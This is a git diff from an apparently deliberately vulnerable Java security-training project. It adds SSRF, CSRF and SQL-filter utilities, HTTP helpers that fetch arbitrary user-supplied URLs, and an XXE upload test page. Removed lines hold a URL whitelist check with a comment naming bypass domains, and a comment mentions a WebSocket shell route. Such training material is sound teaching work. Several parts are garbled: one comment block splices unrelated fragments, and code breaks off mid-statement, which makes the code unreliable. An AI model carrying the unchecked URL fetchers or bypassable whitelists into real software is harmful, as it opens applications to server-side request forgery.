- if (rootDomain.endsWith(urlwhitelist)) {
- return "URL is legal";
- } else {
- return "URL is illegal";
+ for (String domain : domainwhitelist) {
+ if (host.endsWith(domain)) {
+ return "Good url.";
+ }
}
+ return "Bad url.";
}
- // 绕过方法joychou.com.bypass.com bypassjoychou.com
- @RequestMapping("/contains")
- @ResponseBody
- public String contains(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
- URL u = new URL(url);
- String host = u.getHost().toLowerCase();
- String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
- if (rootDomain.contains(urlwhitelist)) {
- return "URL is legal";
- } else {
- return "URL is illegal";
+ /**
+ * It's the same with indexOf
.
+ *
+ * 2. 如果应用需要登录,动态添加的WebSocket路由不能要求被登录,否则添加失败。
+ *
+ * WebSockets 的URL为ws://127.0.0.1:8080/ws/shell
+ * a-zA-Z0-9_-.
字符。
+ *
+ * @param sql sql
+ * @return 安全sql,否则返回null
+ */
+ public static String sqlFilter(String sql) {
+ if (!FILTER_PATTERN.matcher(sql).matches()) {
+ return null;
+ }
+ return sql;
+ }
+
+ /**
+ * 将非0-9a-zA-Z/-.
的字符替换为空
+ *
+ * @param str 字符串
+ * @return 被过滤的字符串
+ */
+ public static String replaceSpecialStr(String str) {
+ StringBuilder sb = new StringBuilder();
+ str = str.toLowerCase();
+ for(int i = 0; i < str.length(); i++) {
+ char ch = str.charAt(i);
+ // 如果是0-9
+ if (ch >= 48 && ch <= 57 ){
+ sb.append(ch);
+ }
+ // 如果是a-z
+ else if(ch >= 97 && ch <= 122) {
+ sb.append(ch);
+ }
+ else if(ch == '/' || ch == '.' || ch == '-'){
+ sb.append(ch);
+ }
+ }
+
+ return sb.toString();
+ }
+
+ public static void main(String[] args) {
+ }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
new file mode 100644
index 00000000..414fd24d
--- /dev/null
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -0,0 +1,118 @@
+package org.joychou.security;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
+import org.springframework.security.config.annotation.web.builders.HttpSecurity;
+import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
+import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
+import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
+import org.springframework.security.web.util.matcher.RequestMatcher;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.CorsConfigurationSource;
+import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
+
+import javax.servlet.http.HttpServletRequest;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
+
+
+/**
+ * Congifure csrf
+ *
+ */
+@EnableWebSecurity
+@Configuration
+public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
+
+ @Value("${joychou.security.csrf.enabled}")
+ private Boolean csrfEnabled = false;
+
+ @Value("${joychou.security.csrf.exclude.url}")
+ private String[] csrfExcludeUrl;
+
+
+ @Value("${joychou.no.need.login.url}")
+ private String[] noNeedLoginUrl;
+
+
+ @Value("${joychou.security.csrf.method}")
+ private String[] csrfMethod = {"POST"};
+
+ private RequestMatcher csrfRequestMatcher = new RequestMatcher() {
+
+ @Override
+ public boolean matches(HttpServletRequest request) {
+
+ // 配置需要CSRF校验的请求方式,
+ HashSet
+ *
+ *
+ *
+
+ *
+ *
+ * @return decimal ip
+ */
+ public static String host2ip(String host) {
+
+ if (null == host) {
+ return "";
+ }
+
+ // convert octal to decimal
+ if(isOctalIP(host)) {
+ host = decimalIp;
+ }
+
+ try {
+ // send dns request
+ InetAddress IpAddress = InetAddress.getByName(host);
+ return IpAddress.getHostAddress();
+ } catch (Exception e) {
+ logger.error("host2ip exception " + e.getMessage());
+ return "";
+ }
+ }
+
+
+ /**
+ * Check whether the host is an octal IP, if so, convert it to decimal.
+ * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false.
+ */
+ public static boolean isOctalIP(String host) {
+ try{
+ String[] ipParts = host.split("\\.");
+ StringBuilder newDecimalIP = new StringBuilder();
+ boolean is_octal = false;
+
+ // Octal ip only has number and dot character.
+ if (isNumberOrDot(host)) {
+
+ // not support ipv6
+ if (ipParts.length > 4) {
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+
+ // 01205647351
+ if( ipParts.length == 1 && host.startsWith("0") ) {
+ decimalIp = Integer.valueOf(host, 8).toString();
+ return true;
+ }
+
+ // 012.23.78.233
+ for(String ip : ipParts) {
+ if (!isNumber(ip)){
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ // start with "0", but not "0"
+ if (ip.startsWith("0") && !ip.equals("0")) {
+ if (Integer.valueOf(ip, 8) >= 256){
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ newDecimalIP.append(Integer.valueOf(ip, 8)).append(".");
+ is_octal = true;
+ }else{
+ if (Integer.valueOf(ip, 10) >= 256) {
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ newDecimalIP.append(ip).append(".");
+ }
+ }
+ // delete last char .
+ decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf("."));
+ }
+ return is_octal;
+ } catch (Exception e){
+ logger.error("SSRFChecker isOctalIP exception: " + e.getMessage());
+ return false;
+ }
+
+ }
+
+ /**
+ * Check string is a number.
+ * @return If string is a number 0-9, return true. Otherwise, return false.
+ */
+ private static boolean isNumber(String str) {
+ if (null == str || "".equals(str)) {
+ return false;
+ }
+ for (int i = 0; i < str.length(); i++) {
+ char ch = str.charAt(i);
+ if (ch < '0' || ch > '9') {
+ return false;
+ }
+ }
+ return true;
+ }
+
+
+ /**
+ * Check string is a number or dot.
+ * @return If string is a number or a dot, return true. Otherwise, return false.
+ */
+ private static boolean isNumberOrDot(String s) {
+ for (int i = 0; i < s.length(); i++) {
+ char ch = s.charAt(i);
+ if ((ch < '0' || ch > '9') && ch != '.'){
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Get host from URL which the protocol must be http:// or https:// and not be //.
+ */
+ private static String url2host(String url) {
+ try {
+ // use URI instead of URL
+ URI u = new URI(url);
+ if (SecurityUtil.isHttp(url)) {
+ return u.getHost();
+ }
+ return "";
+ } catch (Exception e) {
+ return "";
+ }
+ }
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFException.java b/src/main/java/org/joychou/security/ssrf/SSRFException.java
new file mode 100644
index 00000000..817c881e
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SSRFException.java
@@ -0,0 +1,15 @@
+package org.joychou.security.ssrf;
+
+
+/**
+ * SSRFException
+ *
+ * @author JoyChou @2020-04-04
+ */
+public class SSRFException extends RuntimeException {
+
+ SSRFException(String s) {
+ super(s);
+ }
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHook.java b/src/main/java/org/joychou/security/ssrf/SocketHook.java
new file mode 100644
index 00000000..4ce3509c
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHook.java
@@ -0,0 +1,27 @@
+package org.joychou.security.ssrf;
+
+import java.io.IOException;
+import java.net.Socket;
+import java.net.SocketException;
+
+
+/**
+ * Socket Hook switch
+ *
+ * @author liergou @ 2020-04-04 02:12
+ */
+public class SocketHook {
+
+ public static void startHook() throws IOException {
+ SocketHookFactory.initSocket();
+ SocketHookFactory.setHook(true);
+ try{
+ Socket.setSocketImplFactory(new SocketHookFactory());
+ }catch (SocketException ignored){
+ }
+ }
+
+ public static void stopHook(){
+ SocketHookFactory.setHook(false);
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
new file mode 100644
index 00000000..dc6d951d
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
@@ -0,0 +1,88 @@
+package org.joychou.security.ssrf;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.net.Socket;
+import java.net.SocketImpl;
+import java.net.SocketImplFactory;
+
+
+/**
+ * socket factory impl
+ *
+ * @author liergou @ 2020-04-03 23:41
+ */
+public class SocketHookFactory implements SocketImplFactory {
+
+
+ private static Boolean isHook = false;
+ private static Constructor socketConstructor = null;
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ /**
+ * @param set hook switch
+ */
+ static void setHook(Boolean set) {
+ isHook = set;
+ }
+
+
+ static void initSocket() {
+
+ if (socketConstructor != null) {
+ return;
+ }
+
+ Socket socket = new Socket();
+ try {
+ // get impl field in Socket class
+ Field implField = Socket.class.getDeclaredField("impl");
+ implField.setAccessible(true);
+ Class> clazz = implField.get(socket).getClass();
+
+ SocketHookImpl.initSocketImpl(clazz);
+ socketConstructor = clazz.getDeclaredConstructor();
+ socketConstructor.setAccessible(true);
+
+ } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
+ throw new SSRFException("SocketHookFactory init failed!");
+ }
+
+ try {
+ socket.close();
+ } catch (IOException ignored) {
+
+ }
+ }
+
+
+ public SocketImpl createSocketImpl() {
+
+ if (isHook) {
+ try {
+ return new SocketHookImpl(socketConstructor);
+ } catch (Exception e) {
+ logger.error("Socket hook failed!");
+ try {
+ return (SocketImpl) socketConstructor.newInstance();
+ } catch (InstantiationException | IllegalAccessException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+ } else {
+ try {
+ return (SocketImpl) socketConstructor.newInstance();
+ } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) {
+ logger.error(e.toString());
+ }
+ }
+
+ return null;
+ }
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
new file mode 100644
index 00000000..799ca0e5
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
@@ -0,0 +1,269 @@
+package org.joychou.security.ssrf;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.*;
+
+
+/**
+ * Socket impl
+ *
+ * @author liergou @ 2020-04-02 23:39
+ */
+public class SocketHookImpl extends SocketImpl implements SocketOptions {
+
+ private static Boolean isInit = false;
+
+ private static SocketImpl socketImpl = null;
+ private static Method createImpl;
+ private static Method connectHostImpl;
+ private static Method connectInetAddressImpl;
+ private static Method connectSocketAddressImpl;
+ private static Method bindImpl;
+ private static Method listenImpl;
+ private static Method acceptImpl;
+ private static Method getInputStreamImpl;
+ private static Method getOutputStreamImpl;
+ private static Method availableImpl;
+ private static Method closeImpl;
+ private static Method shutdownInputImpl;
+ private static Method shutdownOutputImpl;
+ private static Method sendUrgentDataImpl;
+
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+
+ SocketHookImpl(Constructor socketConstructor) throws IllegalAccessException,
+ InvocationTargetException, InstantiationException {
+ socketImpl = (SocketImpl) socketConstructor.newInstance();
+ }
+
+
+ /**
+ * Init reflect method.
+ *
+ * @author liergou
+ */
+ static void initSocketImpl(Class> initSocketImpl) {
+
+ if (initSocketImpl == null) {
+ SocketHookFactory.setHook(false);
+ throw new RuntimeException("InitSocketImpl failed! Hook stopped!");
+ }
+
+ if (!isInit) {
+ createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class>[]{boolean.class});
+ connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{String.class, int.class});
+ connectInetAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{InetAddress.class, int.class});
+ connectSocketAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{SocketAddress.class, int.class});
+ bindImpl = SocketHookUtils.findMethod(initSocketImpl, "bind", new Class>[]{InetAddress.class, int.class});
+ listenImpl = SocketHookUtils.findMethod(initSocketImpl, "listen", new Class>[]{int.class});
+ acceptImpl = SocketHookUtils.findMethod(initSocketImpl, "accept", new Class>[]{SocketImpl.class});
+ getInputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getInputStream", new Class>[]{});
+ getOutputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getOutputStream", new Class>[]{});
+ availableImpl = SocketHookUtils.findMethod(initSocketImpl, "available", new Class>[]{});
+ closeImpl = SocketHookUtils.findMethod(initSocketImpl, "close", new Class>[]{});
+ shutdownInputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownInput", new Class>[]{});
+ shutdownOutputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownOutput", new Class>[]{});
+ sendUrgentDataImpl = SocketHookUtils.findMethod(initSocketImpl, "sendUrgantData", new Class>[]{int.class});
+ isInit = true;
+ }
+ }
+
+
+ /**
+ * socket base method impl
+ */
+ @Override
+ protected void create(boolean stream) {
+ try {
+ createImpl.invoke(socketImpl, stream);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+
+ @Override
+ protected void connect(String host, int port) {
+ logger.info("host: " + host + "\tport: " + port);
+ try {
+ connectHostImpl.invoke(socketImpl, host, port);
+ } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+
+ @Override
+ protected void connect(InetAddress address, int port) {
+
+ logger.info("InetAddress: " + address.toString());
+
+ try {
+ if (SSRFChecker.isInternalIp(address.getHostAddress())) {
+ throw new RuntimeException("Socket SSRF check failed. InetAddress:" + address.toString());
+ }
+ connectInetAddressImpl.invoke(socketImpl, address, port);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void connect(SocketAddress address, int timeout) {
+
+ // convert SocketAddress to InetSocketAddress
+ InetSocketAddress addr = (InetSocketAddress) address;
+
+ String ip = addr.getAddress().getHostAddress();
+ String host = addr.getHostName();
+ logger.info(String.format("[+] SocketAddress address's Hostname: %s IP: %s", host, ip));
+
+ try {
+ if (SSRFChecker.isInternalIp(ip)) {
+ throw new SSRFException(String.format("[-] SSRF check failed. Hostname: %s IP: %s", host, ip));
+ }
+ connectSocketAddressImpl.invoke(socketImpl, address, timeout);
+ } catch (IllegalAccessException | IllegalArgumentException |
+ InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+ @Override
+ protected void bind(InetAddress host, int port) {
+ try {
+ bindImpl.invoke(socketImpl, host, port);
+ } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void listen(int backlog) {
+
+ try {
+ listenImpl.invoke(socketImpl, backlog);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void accept(SocketImpl s) {
+
+ try {
+ acceptImpl.invoke(socketImpl, s);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected InputStream getInputStream() {
+ InputStream inStream = null;
+
+ try {
+ inStream = (InputStream) getInputStreamImpl.invoke(socketImpl);
+ } catch (ClassCastException | InvocationTargetException |
+ IllegalArgumentException | IllegalAccessException ex) {
+ logger.error(ex.toString());
+ }
+
+ return inStream;
+ }
+
+ @Override
+ protected OutputStream getOutputStream() {
+ OutputStream outStream = null;
+
+ try {
+ outStream = (OutputStream) getOutputStreamImpl.invoke(socketImpl);
+ } catch (ClassCastException | IllegalArgumentException |
+ IllegalAccessException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ return outStream;
+ }
+
+ @Override
+ protected int available() {
+
+ int result = -1;
+
+ try {
+ result = (Integer) availableImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ return result;
+ }
+
+ @Override
+ protected void close() {
+ try {
+ closeImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void shutdownInput() {
+ try {
+ shutdownInputImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+ @Override
+ protected void shutdownOutput() {
+ try {
+ shutdownOutputImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+ @Override
+ protected void sendUrgentData(int data) {
+ try {
+ sendUrgentDataImpl.invoke(socketImpl, data);
+ } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ public void setOption(int optID, Object value) throws SocketException {
+ if (null != socketImpl) {
+ socketImpl.setOption(optID, value);
+ }
+ }
+
+ public Object getOption(int optID) throws SocketException {
+ return socketImpl.getOption(optID);
+ }
+
+ /*
+ * Dont impl other child method now. Don't be sure where will use it.
+ *
+ */
+
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
new file mode 100644
index 00000000..00f6c275
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
@@ -0,0 +1,27 @@
+package org.joychou.security.ssrf;
+
+import java.lang.reflect.Method;
+
+class SocketHookUtils {
+
+ /**
+ * Poll the parent class to find the reflection method.
+ * SocksSocketImpl -> PlainSocketImpl -> AbstractPlainSocketImpl
+ *
+ * @author liergou @2020-04-04 01:43
+ */
+ static Method findMethod(Class> clazz, String findName, Class>[] args) {
+
+ while (clazz != null) {
+ try {
+ Method method = clazz.getDeclaredMethod(findName, args);
+ method.setAccessible(true);
+ return method;
+ } catch (NoSuchMethodException e) {
+ clazz = clazz.getSuperclass();
+ }
+ }
+ return null;
+ }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/service/HttpService.java b/src/main/java/org/joychou/service/HttpService.java
new file mode 100644
index 00000000..198a5311
--- /dev/null
+++ b/src/main/java/org/joychou/service/HttpService.java
@@ -0,0 +1,11 @@
+package org.joychou.service;
+
+
+import org.springframework.http.HttpHeaders;
+
+public interface HttpService {
+
+ String RequestHttp(String url, HttpHeaders headers);
+
+ String RequestHttpBanRedirects(String url, HttpHeaders headers);
+}
diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java
new file mode 100644
index 00000000..f63b6e42
--- /dev/null
+++ b/src/main/java/org/joychou/util/CookieUtils.java
@@ -0,0 +1,37 @@
+package org.joychou.util;
+
+import lombok.extern.slf4j.Slf4j;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletResponse;
+
+
+@Slf4j
+public class CookieUtils {
+
+ public static boolean deleteCookie(HttpServletResponse res, String cookieName) {
+ try {
+ Cookie cookie = new Cookie(cookieName, null);
+ cookie.setMaxAge(0);
+ cookie.setPath("/");
+ res.addCookie(cookie);
+ return true;
+ } catch (Exception e) {
+ log.error(e.toString());
+ return false;
+ }
+ }
+
+ public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) {
+ try {
+ Cookie cookie = new Cookie(cookieName, cookieValue);
+ cookie.setMaxAge(1000);
+ cookie.setPath("/");
+ res.addCookie(cookie);
+ return true;
+ } catch (Exception e) {
+ log.error(e.toString());
+ return false;
+ }
+ }
+}
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
new file mode 100644
index 00000000..c1eac95c
--- /dev/null
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -0,0 +1,223 @@
+package org.joychou.util;
+
+import com.squareup.okhttp.OkHttpClient;
+import org.apache.commons.httpclient.HttpClient;
+import org.apache.commons.httpclient.methods.GetMethod;
+import org.apache.commons.io.IOUtils;
+import org.apache.http.HttpResponse;
+import org.apache.http.client.fluent.Request;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClients;
+import org.apache.http.impl.nio.client.CloseableHttpAsyncClient;
+import org.apache.http.impl.nio.client.HttpAsyncClients;
+import org.apache.http.util.EntityUtils;
+import org.jsoup.Jsoup;
+import org.jsoup.nodes.Document;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import javax.imageio.ImageIO;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.HttpURLConnection;
+import java.net.URI;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.concurrent.*;
+
+/**
+ * @author JoyChou 2020-04-06
+ */
+public class HttpUtils {
+
+ private final static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
+
+ public static String commonHttpClient(String url) {
+
+ HttpClient client = new HttpClient();
+ GetMethod method = new GetMethod(url);
+
+ try {
+ client.executeMethod(method); // send request
+ byte[] resBody = method.getResponseBody();
+ return new String(resBody);
+
+ } catch (IOException e) {
+ return "Error: " + e.getMessage();
+ } finally {
+ // Release the connection.
+ method.releaseConnection();
+ }
+ }
+
+
+ public static String request(String url) {
+ try {
+ return Request.Get(url).execute().returnContent().toString();
+ } catch (Exception e) {
+ return e.getMessage();
+ }
+ }
+
+
+ public static String httpClient(String url) {
+
+ StringBuilder result = new StringBuilder();
+
+ try {
+
+ CloseableHttpClient client = HttpClients.createDefault();
+ HttpGet httpGet = new HttpGet(url);
+ // set redirect enable false
+ // httpGet.setConfig(RequestConfig.custom().setRedirectsEnabled(false).build());
+ HttpResponse httpResponse = client.execute(httpGet); // send request
+ BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
+
+ String line;
+ while ((line = rd.readLine()) != null) {
+ result.append(line);
+ }
+
+ return result.toString();
+
+ } catch (Exception e) {
+ return e.getMessage();
+ }
+ }
+
+
+ public static String URLConnection(String url) {
+ try {
+ URL u = new URL(url);
+ URLConnection urlConnection = u.openConnection();
+ BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
+ String inputLine;
+ StringBuilder html = new StringBuilder();
+
+ while ((inputLine = in.readLine()) != null) {
+ html.append(inputLine);
+ }
+ in.close();
+ return html.toString();
+ } catch (Exception e) {
+ logger.error(e.getMessage());
+ return e.getMessage();
+ }
+ }
+
+
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ */
+ public static String HttpURLConnection(String url) {
+ try {
+ URL u = new URL(url);
+ URLConnection urlConnection = u.openConnection();
+ HttpURLConnection conn = (HttpURLConnection) urlConnection;
+// conn.setInstanceFollowRedirects(false);
+// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
+ InputStream is = conn.getInputStream(); // send request
+ BufferedReader in = new BufferedReader(new InputStreamReader(is));
+ String inputLine;
+ StringBuilder html = new StringBuilder();
+
+ while ((inputLine = in.readLine()) != null) {
+ html.append(inputLine);
+ }
+ in.close();
+ return html.toString();
+ } catch (IOException e) {
+ logger.error(e.getMessage());
+ return e.getMessage();
+ }
+ }
+
+
+ /**
+ * Jsoup is a HTML parser about Java.
+ *
+ * @param url http request url
+ */
+ public static String Jsoup(String url) {
+ try {
+ Document doc = Jsoup.connect(url)
+// .followRedirects(false)
+ .timeout(3000)
+ .cookie("name", "joychou") // request cookies
+ .execute().parse();
+ return doc.outerHtml();
+ } catch (IOException e) {
+ return e.getMessage();
+ }
+ }
+
+
+ /**
+ * The default setting of followRedirects is true. The option of followRedirects is true.
+ *
+ * UserAgent is okhttp/2.5.0
.
+ */
+ public static String okhttp(String url) throws IOException {
+ OkHttpClient client = new OkHttpClient();
+// client.setFollowRedirects(false);
+ com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
+ return client.newCall(ok_http).execute().body().string();
+ }
+
+
+ /**
+ * The default setting of followRedirects is true.
+ *
+ * UserAgent is Java/1.8.0_102.
+ *
+ * @param url http request url
+ */
+ public static void imageIO(String url) {
+ try {
+ URL u = new URL(url);
+ ImageIO.read(u); // send request
+ } catch (IOException e) {
+ logger.error(e.getMessage());
+ }
+
+ }
+
+
+ /**
+ * IOUtils which is wrapped by URLConnection can get remote pictures.
+ * The default setting of redirection is true.
+ *
+ * @param url http request url
+ */
+ public static void IOUtils(String url) {
+ try {
+ IOUtils.toByteArray(URI.create(url));
+ } catch (IOException e) {
+ logger.error(e.getMessage());
+ }
+ }
+
+
+ public static String HttpAsyncClients(String url) {
+ CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
+ try {
+ httpclient.start();
+ final HttpGet request = new HttpGet(url);
+ Futurefile upload
-
diff --git a/src/main/resources/templates/uploadPic.html b/src/main/resources/templates/uploadPic.html
new file mode 100644
index 00000000..66a6f64d
--- /dev/null
+++ b/src/main/resources/templates/uploadPic.html
@@ -0,0 +1,13 @@
+
+
+
+
+file upload only picture
+
+
+
+
+
diff --git a/src/main/resources/templates/uploadStatus.html b/src/main/resources/templates/uploadStatus.html
old mode 100755
new mode 100644
diff --git a/src/main/resources/templates/xxe_upload.html b/src/main/resources/templates/xxe_upload.html
new file mode 100644
index 00000000..d58426f0
--- /dev/null
+++ b/src/main/resources/templates/xxe_upload.html
@@ -0,0 +1,14 @@
+
+
+
+
+xlsx xxe test page
+
+
+
+
+
diff --git a/src/main/resources/url/ssrf_safe_domain.xml b/src/main/resources/url/ssrf_safe_domain.xml
new file mode 100644
index 00000000..eb5e4c44
--- /dev/null
+++ b/src/main/resources/url/ssrf_safe_domain.xml
@@ -0,0 +1,22 @@
+
+
+
+ *
+ *